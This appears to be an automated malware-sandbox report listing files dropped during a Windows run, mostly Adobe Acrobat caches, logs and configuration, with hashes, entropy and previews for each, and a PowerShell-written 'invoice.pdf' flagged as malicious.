SSDEEP:	6:YEQXJ2HXC44hbnx+FIbRI6XVW7+0YckoAvJfshHHrPeUkwRe9:YvXKX/qnUYpW7pGUUUkee9
MD5:	6651477A612A6C8B31EF70A2CA6ED5AE
SHA1:	F952292ED1BD0EF7E68B22650B7DF1FF711FB172
SHA-256:	1D6CCF4B97029C449EAE8E9743D158E48A947AAB6BD3D3F2E91DC69F2FEDF538
SHA-512:	4989D360E445781016ED04384FE0D4B57F3B462658B0F4DEDBFD93D3E32B2FBF244B1BF41220E165A578AA367474D300722D4E0F8A8EF8691F7F3871CB6FBF15
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.21616104488526
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC44hbnx+FIbRI6XVW7+0YckoAvJTqgFCrPeUkwRe9:YvXKX/qnUYpW7pGTq16Ukee9
MD5:	13B3ABE9EB92CBA89F999FD82CB8DF87
SHA1:	75E3ACD801F9D4F08D83C49B7DE7E296DD12E204
SHA-256:	EEA420A36E63A3F59E984A7DF67D9A9E98C36051E2D1C4B71317B6937F963EC9
SHA-512:	CB6A1105A461DD74FA23280EE55EC26B7E6CF11708739559F43B3ED012FB4FFA4CFA028C8922292C1DC04C81C5E4F71694B52B255160B8CD65657BCC56AA6290
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dd6a428c-e8c7-4aac-8f27-dc1e859214fd","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720050306,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1423839869422086
Encrypted:	false
SSDEEP:	24:YaWa97ay3MlEAVPIAx6hifV+W6qCj3Sj0SSTzW2e52LSMCHhUjAFJ5q9sWFuOFOG:YoEAY6iV+ptUmS75OUh+AzY9/
MD5:	94B5BDB2DBB9F5BABF956A0231531C23
SHA1:	360BBDE3943606FD9E5CF88027078B863FCB2333
SHA-256:	FD64813BE9D29BF6FBA8646ED899AD26CB40F38529A3EC4BC4C856EF98AC524D
SHA-512:	73599A935D1B7FA021749A243F1E9FD5C9D971ABD496EC99F5DE9C54547FE5493EA27A66D47E8FB05A236BF3A2E5F7C8920A6CF7F4621E2AEFC5D54ECB2961C8
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a232c9427c9144aefda4b6ee19137e83","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736543244000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"98ad2a8e168b6060358d4832dbf48097","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736543244000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4daa3d4aab2b176e10871b55a5659f74","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736543244000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"02e8e8a4084c4ef5687f9ac6c6c10647","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736543244000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"73c8125ad2246f2da035a3b5939263be","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736543244000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"76552134574c4a9909bc9df95e5e6f29","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9854122562105012
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpEw4zJwtNBwtNbRZ6bRZ45wF:TVl2GL7ms6ggOVpETzutYtp6PuM
MD5:	98AA889738B3C6FC50444A832DA9E982
SHA1:	7D366E1866968EC85BF38197F155950CEB617136
SHA-256:	813FAAC889F092E14AEE10F03957A650E852E0B84E704B11DCAB2E8F13589DB4
SHA-512:	8A63E276AF4C82635E7685484F48162B4A422F43648C56FEE90ACC5BF313CA4BD1841B2F8D7023045AD27722448AC6E675D19C3BBFC56D531BDD221B827EBB35
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3378574835778432
Encrypted:	false
SSDEEP:	24:7+t4AD1RZKHs/Ds/SpEwPzJwtNBwtNbRZ6bRZWf1RZKGqLBx/XYKQvGJF7urs3:7M4GgOVpEszutYtp6PMXqll2GL7ms3
MD5:	60AF23F68134A43B435E12A51FAFD5D2
SHA1:	D47113BD605541DC41F8941133EFD1188F15744E
SHA-256:	B2507D62BE412EFCA35A80CC3B6A401D9676A0AD1BDA83A40D764462A88703C0
SHA-512:	81A36A493A6CFDE48AEED8EE68A11EFE54FA0B076E9A555CDF83443C6290B213731FC4D553C7831D0969ABEC7E5EB4F146A23C6E76AA40A9F6830E5C5CF5BC9A
Malicious:	false
Preview:	.... .c.....iH.C......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgtExlWhoGoYsFV5bsjbEfDvBMYyu:6a6TZ44ADE6xlgoYsn5bVTaK
MD5:	030917C72F7F9AB091EDA41C3D64B9B7
SHA1:	2F36534A4CE9CC761C84D7DB2F08605D4452A30B
SHA-256:	9797D186A94D01D10D741A915EFE773FB718F32295CF4031BD1474F5E820DDE5
SHA-512:	8D65DCA0FECDBA8FAADE34ABCCA6CC308D14EFD5C06FD1ACA83F42FBD58A69685ABDEF9F29F8625CF4F71933113A59E4E4A2D9A0549925E2003AE23902131A2A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIe5364.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5030768995714583
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNe2le:Qw946cPbiOxDlbYnuRK+bDrNeT
MD5:	C710FA9518DB559973417DACEE58D28D
SHA1:	AAD89C2D5392C2907EF258367BA0D9D2921F8FC5
SHA-256:	217B4F6448BE4F8DF7AA8E22A531A623F9F713D6B81ED372DE30EF1CD7EDA373
SHA-512:	77F1474EC3B1882B093156EEDB30F9AD10B42168C706C09CCE2A162A6D7683762CC8CF1610631F82CCBF37CC7133D60F59931646E918A5CB59A8287E22C9B336
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.0.7.:.2.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0ksbqeqv.ec2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eolxob4v.vg2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-07-19-831.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.337359468796655
Encrypted:	false
SSDEEP:	384:cDNOl3s/L0NjsjODxNFWq8YNxq+revLNWteCIsoppVU98XE/lo6FMNMNExjmQVda:I2v
MD5:	1AB521A517AFB0B13E2D9A2238C740E6
SHA1:	81089370E5EAA4CAE0BCCC9BE4ED8055078ED057
SHA-256:	67816E5D1EE61D419BD9BC5E1A99D53D8F3C82EA7CFFA8CC386354F3BFB2AEBF
SHA-512:	5520C6E8C3A21342360AC35D72170CFA5F2D4F0C6B28575D51B4E66868BA2874496D9234DFEDC67D1F0D0E07A5BD302543FB1181164969239646694CC16B375C
Malicious:	false
Preview:	SessionID=d7625261-e92a-492b-a904-e717d00110c8.1736543239842 Timestamp=2025-01-10T16:07:19:842-0500 ThreadID=7984 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d7625261-e92a-492b-a904-e717d00110c8.1736543239842 Timestamp=2025-01-10T16:07:19:844-0500 ThreadID=7984 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d7625261-e92a-492b-a904-e717d00110c8.1736543239842 Timestamp=2025-01-10T16:07:19:844-0500 ThreadID=7984 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d7625261-e92a-492b-a904-e717d00110c8.1736543239842 Timestamp=2025-01-10T16:07:19:844-0500 ThreadID=7984 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d7625261-e92a-492b-a904-e717d00110c8.1736543239842 Timestamp=2025-01-10T16:07:19:844-0500 ThreadID=7984 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3944966142928275
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbv:699xCBAxnY82YEhcgx31kjY
MD5:	70F8DBD540CE0030C9537377C49E7CD8
SHA1:	705C42D40D06682CDAFDD893629CA88BBA30AE77
SHA-256:	5165C26845C577CA71670DD3BD8D7F17948CEA4D90C284E4B3EBEE8F87D1EFC8
SHA-512:	75F8EE76A717E4CFD4822A7FF2F6B9C960DF95E46BC31D0B3215EB5C8752A34B4F2677FDA16D34560FC36DC864E0B5A46545B04CB0B9CECDAF9794527C6A6F93
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\59820d4e-80d1-4058-9a19-bb5aa042a9c4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b1e82310-9f62-45ef-9e51-0cc846fe61ba.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cac572ad-189b-458d-83e9-b595bc652627.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\dcaba5c4-0b77-404f-91d5-52178667fccd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
